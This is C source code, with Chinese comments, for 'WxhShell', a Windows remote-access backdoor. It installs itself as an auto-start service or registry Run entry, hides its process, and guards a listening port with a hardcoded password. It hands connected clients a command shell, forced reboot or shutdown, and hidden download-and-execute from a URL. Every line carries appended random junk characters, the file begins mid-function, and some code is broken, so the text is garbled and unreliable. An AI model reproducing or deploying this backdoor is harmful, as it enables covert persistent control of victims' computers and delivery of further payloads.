    if(Boot(SHUTDOWN)) a:Y6yg%1>  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); \kvd;T#t6  
    else { rm;'/l8Y-E  
    closesocket(wsh); VThcG( NF  
    ExitThread(0); cTHSPr?<  
    } L|qQZ=  
    break; Tw)nFr8oF]  
    } `Ff3H$_*  
  // 获取shell KIC5U50J  
  case 's': { ixw3Z D(>+  
    CmdShell(wsh);  &xgMqv2/  
    closesocket(wsh); s-}|_g.Pt  
    ExitThread(0); s&iM.[k  
    break; bA@!0,m  
  } tU >wRw=d  
  // 退出 G6w&C^J*8>  
  case 'x': { A9Q!V01_  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 2^bq4c4J  
    CloseIt(wsh); |[CsLn;  
    break; xpx Un8.  
    } <M B]W`5  
  // 离开 j5|_SQOmt  
  case 'q': { LUl6^JU  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :@rE&  
    closesocket(wsh); BDNn~aU#m  
    WSACleanup(); P_B#  
    exit(1); 6B)(kPW  
    break; ~.u}v~ F  
        } T(MS,AyD]  
  } Sav]Kxq{  
  } M")JbuI  
C~ t?<  
  // 提示信息 am{f<v,EI  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); oN)l/"%C7/  
} =SB#rCH  
  } h8Q+fHDYv  
V8ZE(0&II}  
  return; wdS^`nz|  
} );_g2=:#  
]@Y8! ,  
// shell模块句柄 =${]j  
int CmdShell(SOCKET sock) h$)(-_c3  
{ ah1d0e P  
STARTUPINFO si; G+stt(k:  
ZeroMemory(&si,sizeof(si)); mp!KPw08':  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; jGl8y!aM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; U s86.@|  
PROCESS_INFORMATION ProcessInfo; klxVsx%I{G  
char cmdline[]="cmd"; f_}/JF  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); nT..+ J)  
  return 0; <gF=$u|}3[  
} P9p:x6  
SUINV_>7  
// 自身启动模式 _G|hKk^,  
int StartFromService(void) K 4QJDC8  
{ 9 [v=`  
typedef struct X^ckTIdR  
{ -=iGl5P?  
  DWORD ExitStatus; BAG) -  
  DWORD PebBaseAddress; Py$Q]s?\1  
  DWORD AffinityMask; {YC!pDG  
  DWORD BasePriority; Ehi)n)HhG"  
  ULONG UniqueProcessId; k{;"Aj:iL  
  ULONG InheritedFromUniqueProcessId; mE'y$5ZxY  
}   PROCESS_BASIC_INFORMATION; ye:pGa w  
/x,gdZPX  
PROCNTQSIP NtQueryInformationProcess; e:fp8 k<  
b6:A-jb*I  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; PElC0 qCn[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; <cNXe4(  
WSi`)@.X O  
  HANDLE             hProcess; J( JsfU4  
  PROCESS_BASIC_INFORMATION pbi; u~[HC)4(0  
fuSfBtLPR#  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ^e:C{]S=  
  if(NULL == hInst ) return 0; +%Q:  
,A`d!{]5  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); $}V<U m  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zI$^yk-vn  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); &E0L7?l  
6E/>]3~!  
  if (!NtQueryInformationProcess) return 0; wwrP7T+d  
dE19_KPm[j  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); jWJq[l  
  if(!hProcess) return 0; 0<_|K>5dS|  
$3<,"&;Ecs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6w(Mb~[n  
+KgoLa  
  CloseHandle(hProcess); ZUP\)[~  
Ko_Sx.  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); '?=SnjMX  
if(hProcess==NULL) return 0; L9Sd4L_e  
W2/FGJD  
HMODULE hMod; 0T7(c-  
char procName[255]; ! Ob  
unsigned long cbNeeded; %a=K:" oU[  
>}Qj|05G  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName));  Ec IgX_\  
9pUvw_9MY  
  CloseHandle(hProcess); <~;;iM6  
'{dduHo  
if(strstr(procName,"services")) return 1; // 以服务启动 (XA=d 4  
R,R[.2Vi  
  return 0; // 注册表启动 (;v)0&h  
} 7 K.&zn  
J!5BH2bg  
// 主模块 U/F<r3.`#  
int StartWxhshell(LPSTR lpCmdLine) _OV\W'RrA  
{ w}No ^.I*4  
  SOCKET wsl; u$ C@0d  
BOOL val=TRUE; N`XJA-DE  
  int port=0; 56gpAc  
  struct sockaddr_in door; U"$Q$ OFs  
.w2QiJ  
  if(wscfg.ws_autoins) Install(); Go~bQ2*'(/  
BC*vG=a  
port=atoi(lpCmdLine); arJ4^  d  
:MeshzWK  
if(port<=0) port=wscfg.ws_port; D FDC'E  
2 gz}]_  
  WSADATA data; kms&o=^  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; D^Ahw"X)  
,K9\;{C  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?&;d#z*4  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); KilgeN:  
  door.sin_family = AF_INET; CvfX m  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zvjVM"=G  
  door.sin_port = htons(port); X8~dFjhX  
*uHL'Pe;m  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { uo0g51%9  
closesocket(wsl); =OfU#i"c  
return 1; -YM#.lQ  
} )Y%>t  
n,sf$9"  
  if(listen(wsl,2) == INVALID_SOCKET) { /~3~Xc ~=p  
closesocket(wsl); (Mi]vK.4  
return 1; Y.` {]rC  
} r_C|gfIP  
  Wxhshell(wsl); 0\v98g<[+  
  WSACleanup(); )006\W|t9  
W}m-5L  
return 0; ! |SPOk  
3jF#f'*  
} b`"E(S/  
Ci%u =%(  
// 以NT服务方式启动 iEx.BQ+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &:}e`u@5|  
{ L9tjH C]  
DWORD   status = 0; A4LGF  
  DWORD   specificError = 0xfffffff; Z$ qFjWp  
K&FGTS,  
  serviceStatus.dwServiceType     = SERVICE_WIN32; z_qy >  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~\= VSwJ  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; [A$5~/Q{U1  
  serviceStatus.dwWin32ExitCode     = 0; &v!=\Fig4  
  serviceStatus.dwServiceSpecificExitCode = 0; pR_cI]{=SA  
  serviceStatus.dwCheckPoint       = 0; l`lo5:w  
  serviceStatus.dwWaitHint       = 0; KrO oxrDcp  
dw %aoe  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); f[,9WkC  
  if (hServiceStatusHandle==0) return; vZV+24YWb  
lfjY45=  
status = GetLastError(); yXU-@~  
  if (status!=NO_ERROR) y,qP$ 5xiq  
{ fR_ jYP 1  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; s2Gi4fY?  
    serviceStatus.dwCheckPoint       = 0; UeWEncN(  
    serviceStatus.dwWaitHint       = 0; 1I({2@C  
    serviceStatus.dwWin32ExitCode     = status; G| 7\[!R  
    serviceStatus.dwServiceSpecificExitCode = specificError; 89@\AjI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8N<0|u  
    return; W{E2 2J}  
  } H /Idc,*  
IV{,'+hT  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; y*2R#jTA  
  serviceStatus.dwCheckPoint       = 0; /dTy%hZC}  
  serviceStatus.dwWaitHint       = 0; gfE<XrG  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (;utiupW  
} d,=Kv  
""Ul6hRgv  
// 处理NT服务事件,比如:启动、停止 ?pgdj|"a  
VOID WINAPI NTServiceHandler(DWORD fdwControl) w:Ui_-4*>  
{ 5,=Yi$x  
switch(fdwControl) P.*J'q 28  
{ nb(4"|8}  
case SERVICE_CONTROL_STOP:  }* iag\  
  serviceStatus.dwWin32ExitCode = 0; ?wE@9 g A  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PfX{n5yBW8  
  serviceStatus.dwCheckPoint   = 0; hW*2Le!I  
  serviceStatus.dwWaitHint     = 0; [c4.E"  
  { :V2"<]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); `-zdjc d  
  } 1xK'1g72  
  return; xt]Z{:.  
case SERVICE_CONTROL_PAUSE: SQ#6~zxl  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; YwGc[9=n  
  break; r\]yq -_  
case SERVICE_CONTROL_CONTINUE: NfLvK o8  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; l,uYp"F,ps  
  break; M0!;{1  
case SERVICE_CONTROL_INTERROGATE: +3.Ik,Z}zq  
  break; N[ 4v6GS  
}; \~xI#S@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kg[u@LgvoN  
} Ke[doQ#c  
dDH+`;$.  
// 标准应用程序主函数 F\1nc"K/(  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow)  f])?Gw  
{ 1lyJ;6i6L  
Z4FyuWc3  
// 获取操作系统版本 b ABx' E  
OsIsNt=GetOsVer(); fs4pAB#F  
GetModuleFileName(NULL,ExeFile,MAX_PATH); "cjZ6^Hum  
Mr'}IX5  
  // 从命令行安装 Du3OmXMk  
  if(strpbrk(lpCmdLine,"iI")) Install(); BqZ^I eC$  
#QJ  mAA  
  // 下载执行文件 N/)mw/?i  
if(wscfg.ws_downexe) { Z&8 7Aj  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) GF~^-5  
  WinExec(wscfg.ws_filenam,SW_HIDE); *nNzhcuR  
} pM~Xh ]/  
A2'   
if(!OsIsNt) { JV'd!5P  
// 如果时win9x,隐藏进程并且设置为注册表启动 /=Ug}%.  
HideProc(); Q0~5h?V'  
StartWxhshell(lpCmdLine); 2=ZR}8}9Q:  
} Z+ubc"MVb  
else mY-Z$8r  
  if(StartFromService()) KtJE  
  // 以服务方式启动 ZWMX!>o<  
  StartServiceCtrlDispatcher(DispatchTable); WrbDB-uM  
else O$x-&pW`g  
  // 普通方式启动 8 o8FL~&]  
  StartWxhshell(lpCmdLine); m^ zx &  
1!/+~J[#  
return 0; { frEVHw  
} A/N*Nc  
dsDoPo0!  
q3Umqvl)oe  
G],+?E_,  
=========================================== O<4i)Lx2  
2>Kq)Ii  
<[C 9F1]Ya  
"_+X#P x  
Ku LZg  
>`*iM  
" ^vm[`M  
cJA0$)JP&  
#include <stdio.h> ))c;DJc  
#include <string.h> lp[3z& u  
#include <windows.h> ub6\m=Y7  
#include <winsock2.h> 6A M,1  
#include <winsvc.h> l^xkXj  
#include <urlmon.h> qGkrG38K  
_yjM_ALjo  
#pragma comment (lib, "Ws2_32.lib") L*tXy>&b.  
#pragma comment (lib, "urlmon.lib") kN9S;o@)  
X@+:O-$  
#define MAX_USER   100 // 最大客户端连接数 $}oQ=+c5  
#define BUF_SOCK   200 // sock buffer e<5+&Cj  
#define KEY_BUFF   255 // 输入 buffer N&NOh|YS  
V2es.I  
#define REBOOT     0   // 重启 zc J]US  
#define SHUTDOWN   1   // 关机 G_5sF|(mq  
OxElvbM#  
#define DEF_PORT   5000 // 监听端口 vVyO}Q`  
q" wi.&|  
#define REG_LEN     16   // 注册表键长度 !|_ CXm T|  
#define SVC_LEN     80   // NT服务名长度 y- k?_$ M  
E E?v~6"&  
// 从dll定义API A`(p6 H"s  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); bI[!y#_z4  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); N-^\X3X  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); V.WfP*~NJ  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); /6{`6(p  
<6/XE@"   
// wxhshell配置信息 q<>2}[W  
struct WSCFG { 7i{Rn K6*  
  int ws_port;         // 监听端口 qIjC-#a=m  
  char ws_passstr[REG_LEN]; // 口令 |L;'In  
  int ws_autoins;       // 安装标记, 1=yes 0=no JoW*)3Z  
  char ws_regname[REG_LEN]; // 注册表键名 _zh}%#6L  
  char ws_svcname[REG_LEN]; // 服务名 UShn)3F  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 '5ky<  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 XyS#6D  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Y@eHp-[  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H[@}ri<  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^S ,E"Q  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 &4*&L.hPM^  
{J})f>x<xM  
}; %>I!mD"X\  
u MzefRN  
// default Wxhshell configuration yfTnj:Fz  
struct WSCFG wscfg={DEF_PORT, mMN oR]  
    "xuhuanlingzhe", :^%s oEi  
    1, I-/PzL<W P  
    "Wxhshell", @mP@~  
    "Wxhshell", /l(:H  
            "WxhShell Service", 7vr)JT=  
    "Wrsky Windows CmdShell Service", TeqFy(Dr  
    "Please Input Your Password: ", RB/[(4  
  1, lG# &Pv>-  
  "http://www.wrsky.com/wxhshell.exe", K'?ab 0  
  "Wxhshell.exe" bG^eP :r  
    }; 6FEtq,;0w  
A!^K:S:@  
// 消息定义模块 /bCrpcH  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; { w!}:8p  
char *msg_ws_prompt="\n\r? for help\n\r#>"; b@YSrjJ  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; N)poe2[  
char *msg_ws_ext="\n\rExit."; ]`m|A1(  
char *msg_ws_end="\n\rQuit."; AN: ,t(w  
char *msg_ws_boot="\n\rReboot..."; f~Kln^  
char *msg_ws_poff="\n\rShutdown..."; ! FHNKh  
char *msg_ws_down="\n\rSave to "; 9k7|B>LT  
[&NF0c[i  
char *msg_ws_err="\n\rErr!"; R$6Y\ *L[  
char *msg_ws_ok="\n\rOK!"; :@: R4Ac  
=m}{g/Bk  
char ExeFile[MAX_PATH]; AL|fL  
int nUser = 0; U^pe/11)H  
HANDLE handles[MAX_USER]; 1MB  
int OsIsNt; Fi5,y;]R  
&}T`[ d_Z  
SERVICE_STATUS       serviceStatus; )>\Ne~%  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ,?&hqM\  
E}NX+ vYF  
// 函数声明 CKh-+8j  
int Install(void); 7%7_i%6wP  
int Uninstall(void); $6y1';A  
int DownloadFile(char *sURL, SOCKET wsh); GQ8I |E  
int Boot(int flag); Z?nMt  
void HideProc(void); EXJ>Z  
int GetOsVer(void); B/5C jHz  
int Wxhshell(SOCKET wsl); ev8 E.ehD  
void TalkWithClient(void *cs); @.0jC=!l  
int CmdShell(SOCKET sock); W!tP sPM  
int StartFromService(void); I5x/N.  
int StartWxhshell(LPSTR lpCmdLine); g"T~)SQP  
?Fi-,4  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); @Wx_4LOhf  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); TqQ>\h"&_  
0eQ5LG?)  
// 数据结构和表定义 $~D`-+J  
SERVICE_TABLE_ENTRY DispatchTable[] = :~T:&;q0  
{ uL-i>!"L!}  
{wscfg.ws_svcname, NTServiceMain}, Hlz4f+#I  
{NULL, NULL} +!_^MBkk  
}; ;U20g:K  
!5A nr  
// 自我安装 W{-N,?z  
int Install(void) 9MHb<~F  
{ ny=CtU!z  
  char svExeFile[MAX_PATH]; (Mtc&+n{  
  HKEY key; GuDus2#+  
  strcpy(svExeFile,ExeFile); +,|-4U@dl  
Rb9Z{Clq>  
// 如果是win9x系统,修改注册表设为自启动 d9Q%GG0]  
if(!OsIsNt) { 3[V|C=u0  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 5lU`o  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); !/jx4 w~R  
  RegCloseKey(key); \!SC;  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { @L0wd>  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); L3<XWpv  
  RegCloseKey(key); hlUF9}  
  return 0; <M$hj6.tn  
    } QT|mN  
  } CS"p[-0  
} %djx0sy  
else { ! prU!5-  
dvL'>'g  
// 如果是NT以上系统,安装为系统服务 C62<pLJf  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); .Zwn{SMtu  
if (schSCManager!=0) Np/[MC  
{ iOJgZuP  
  SC_HANDLE schService = CreateService pnqjAT GU  
  ( &rNXn?>b  
  schSCManager, Hy `r}+  
  wscfg.ws_svcname, |Zt=8}di  
  wscfg.ws_svcdisp, jM7}LV1Ck  
  SERVICE_ALL_ACCESS, + u)'  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , (yXVp2k  
  SERVICE_AUTO_START, f ~Fus  
  SERVICE_ERROR_NORMAL, ^)fB "!s  
  svExeFile, mB1)!  
  NULL, rBny*!n  
  NULL, BR0bf5T/  
  NULL, u@gYEx}  
  NULL, =vK(-h  
  NULL T.(SBP  
  ); F8=6!Qj  
  if (schService!=0) G4RsH/  
  { Ko%rB+d  
  CloseServiceHandle(schService); o&CvjE  
  CloseServiceHandle(schSCManager); Wc]Fg9E  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >K &b,o,[  
  strcat(svExeFile,wscfg.ws_svcname); '.dW>7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ar^`r!ABEh  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); $K,aLcu  
  RegCloseKey(key); f a\cLC  
  return 0; fe0 Y^vW  
    } &c\8` # 6  
  } {==Q6BG*  
  CloseServiceHandle(schSCManager); qkBnEPWZy  
} qb9%Y/xy  
} WYh7Y  
5o72X k  
return 1; >)5vsqGZaK  
} ;J5oO$H+68  
3; M!]9ms  
// 自我卸载 3$kZu  
int Uninstall(void) XG [%oL  
{ L`Ic0}|lzy  
  HKEY key; Z7f~|}  
d@l;dos),  
if(!OsIsNt) { CjST*(,b  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { N&GcWcq  
  RegDeleteValue(key,wscfg.ws_regname); h T Xc0  
  RegCloseKey(key); ~j 4=PT  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { D=OU61AA  
  RegDeleteValue(key,wscfg.ws_regname); >N3{*W  
  RegCloseKey(key); MD On; Af>  
  return 0; A9R}74e4g  
  } qMUqd}=P  
} g_x<+3a  
} '+eP%Y[W%  
else { eU12*(  
)l"0:1Ig  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); S4(IYnwN  
if (schSCManager!=0) V*TG%V -  
{ b,@:eVQ7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 2`},;i~[  
  if (schService!=0) [Dt\E4  
  {  z7K?rgH  
  if(DeleteService(schService)!=0) { "ulaF+  
  CloseServiceHandle(schService); 3gM{lS}h#  
  CloseServiceHandle(schSCManager);  qJK^i.e  
  return 0; vd ;wQ  
  } IR>K ka(B  
  CloseServiceHandle(schService); "E8!{  
  } LNg1q1 P3  
  CloseServiceHandle(schSCManager); dHu]wog  
} !uZ+r%  
} l-Xxv  
RS:0xN\JN  
return 1; MVj@0W33m  
} Z/I!\  
eGE%c1H9a  
// 从指定url下载文件 hT_snb;ow  
int DownloadFile(char *sURL, SOCKET wsh) | -R::gm  
{ f>'7~69  
  HRESULT hr; =?2y <B  
char seps[]= "/"; \Dc\H )  
char *token; v_ J.M]  
char *file; tb i;X=5  
char myURL[MAX_PATH]; *dQRs6  
char myFILE[MAX_PATH]; J\%:jg( m  
d-* 9tit  
strcpy(myURL,sURL); J^XH^`'  
  token=strtok(myURL,seps); hw7_8pAbh  
  while(token!=NULL) A1@-;/H3  
  { -Rvxjy)[N  
    file=token; .dfTv/n  
  token=strtok(NULL,seps); 226s:\d  
  } &l.^UQ   
@N(jd($E  
GetCurrentDirectory(MAX_PATH,myFILE); *p-Fn$7\n  
strcat(myFILE, "\\"); }Q%>Fv  
strcat(myFILE, file); L=p.@VSZ  
  send(wsh,myFILE,strlen(myFILE),0); kal8k-$#  
send(wsh,"...",3,0); s=$7lYX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); nqH^%/7)A@  
  if(hr==S_OK) _5)#{ o<  
return 0; M{S7ia"s  
else 0{ ,zE  
return 1; <Kh\i'8  
ZJ 4"QsF  
} A/QVotcU  
.x x#>Y-\  
// 系统电源模块 Cam}:'a/`  
int Boot(int flag) ke%zp-2c  
{ 4/jY;YN,2  
  HANDLE hToken; J!H5{7.efN  
  TOKEN_PRIVILEGES tkp; \w:u&6,0O  
(kHR$8GFM  
  if(OsIsNt) { j@ "`!uPz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RpXQi*c0  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); l=oVC6C  
    tkp.PrivilegeCount = 1; SUEw5qitB  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7HJv4\K  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); </%H'V@  
if(flag==REBOOT) { ? vlGr5#  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) H>r-|*n  
  return 0; Wf?sJ`.%b  
} miKi$jC}vq  
else { Yyo|W;a]  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h <M7[p=  
  return 0; yI%> w4Z  
} @b/2'  
  } 9JtvHUkO  
  else { KFhn}C3 i  
if(flag==REBOOT) { iF0a  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hK"=~\,  
  return 0; Jv<)/Km`  
} -7$'* V9$  
else { v;Dcq  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) qIT{`hX  
  return 0; gh}AD1TN]  
} P~<93  
} c 2@@Rd~M  
`|w#K28t"  
return 1; 9vTQ^*b m  
} $.1'Ym  
WK}+f4tdW[  
// win9x进程隐藏模块 $ ddYH  
void HideProc(void) Qzhnob#C9  
{ T/;hIX:R  
713M4CtJ  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); O-5U|wA  
  if ( hKernel != NULL ) h yKg=Foq  
  { Zsogx}i-  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); w2+]C&B*  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); #}(Df&  
    FreeLibrary(hKernel); |w2AB7EU  
  } +I n"OR%  
g)A0PvEu  
return; f B96Q  
} mv.I.EL  
RG3G},Q   
// 获取操作系统版本 Q $0%~`t  
int GetOsVer(void) %m) h1/l  
{ 3x0wk9lND  
  OSVERSIONINFO winfo; yTt (fn:;  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ->&VbR)  
  GetVersionEx(&winfo); ~k0)+D}  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) O`jA-t  
  return 1; S1`0d9ds#  
  else E`n`#=xKR  
  return 0; PJ@,01  
} *UoHzaIqz  
()#tR^T  
// 客户端句柄模块 "3|"rc&F#  
int Wxhshell(SOCKET wsl) AV4HX\`{P0  
{ cu^*x/0,  
  SOCKET wsh; @!/fvP  
  struct sockaddr_in client; <57l|}8  
  DWORD myID; /VO@>Hoh  
_0q~s@-  
  while(nUser<MAX_USER) 8{fz0H.<?  
{ Q|KD/s??  
  int nSize=sizeof(client); &] F|U3  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ><MgIV  
  if(wsh==INVALID_SOCKET) return 1;  Gy6 qLM  
zZc@;S#  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Qz(T[H5%W  
if(handles[nUser]==0) qetP93N_*  
  closesocket(wsh); yO;C3q  
else ENWB|@B  
  nUser++; wV&f|JO0+  
  } +7< >x-+  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]MLLr'6?  
y6Epi|8  
  return 0; {dx /p-Tv  
} (E}cA&{  
*.]E+MYi*  
// 关闭 socket >X,Ag  
void CloseIt(SOCKET wsh) fEG3b#t N  
{ Gi2ad+QH-  
closesocket(wsh); H L|s pl(c  
nUser--; ?  < O  
ExitThread(0); T5jG IIa  
} "E|r3cN  
Ru^ ONw"  
// 客户端请求句柄 I/V )z9  
void TalkWithClient(void *cs) W}2 &Pax  
{ L sDzV)  
d<Q+D1  
  SOCKET wsh=(SOCKET)cs; +%qSB9_>N{  
  char pwd[SVC_LEN]; QiE<[QP{g  
  char cmd[KEY_BUFF]; Gz|%;  
char chr[1]; d6@jEa-  
int i,j; JM-ce8U  
?)[zLnxc&  
  while (nUser < MAX_USER) { <%>n@A  
7{^4 x#NO  
if(wscfg.ws_passstr) { XBQ<  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ;IuK2iDt<  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); CxA\yG3L&  
  //ZeroMemory(pwd,KEY_BUFF); "-Q Rkif  
      i=0; >6[ X }  
  while(i<SVC_LEN) { zRy5,,i5=[  
Q P=[ Vw  
  // 设置超时 y+";  
  fd_set FdRead; Qyv'nx0=  
  struct timeval TimeOut; n;kciTD%wK  
  FD_ZERO(&FdRead); ('* *nP  
  FD_SET(wsh,&FdRead); !P~ PF:W~|  
  TimeOut.tv_sec=8; h lkvk]v  
  TimeOut.tv_usec=0; (}FW])y  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); V4eng "  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); v*H &F   
:#\B {)(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (' Ko#3b  
  pwd=chr[0]; `$V[;ld(mz  
  if(chr[0]==0xd || chr[0]==0xa) { du'}+rC  
  pwd=0; :q>oD-b$}  
  break; ikY]8BCc  
  } iRUR4Zs  
  i++; C~KWH@  
    } 5hJYy`h~  
@4_rxu&  
  // 如果是非法用户,关闭 socket yC'hwoQ`  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); V%BJNJ  
} y*}vG}e%  
DN"S,  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); (K*/Vp  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (~G5t(+  
Gf H*,1x  
while(1) { ii_|)udz  
Q"_T2fl]vP  
  ZeroMemory(cmd,KEY_BUFF); QtnM(m  
Db#W/8 a8k  
      // 自动支持客户端 telnet标准   fVH*dX'Jz  
  j=0; }$Hs;4|  
  while(j<KEY_BUFF) { \[[TlB>  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d=t}T6.|  
  cmd[j]=chr[0]; \ W 'i0+  
  if(chr[0]==0xa || chr[0]==0xd) { (:?5 i`  
  cmd[j]=0; t+3   
  break; nIyROhZ  
  } lrs0^@.+  
  j++; #QTfT&m+G}  
    } AaVI%$  
jr, &=C(  
  // 下载文件 ~U"by_  
  if(strstr(cmd,"http://")) { Mhb '^\px  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); H@%7\g,`  
  if(DownloadFile(cmd,wsh)) s; B j7]  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?qg^WDs$  
  else [y|^P\D  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T_@[k  
  } p^KlH=1n.6  
  else { ),cQUB  
tt6. jo  
    switch(cmd[0]) { SON ^CvMs{  
  {D_++^  
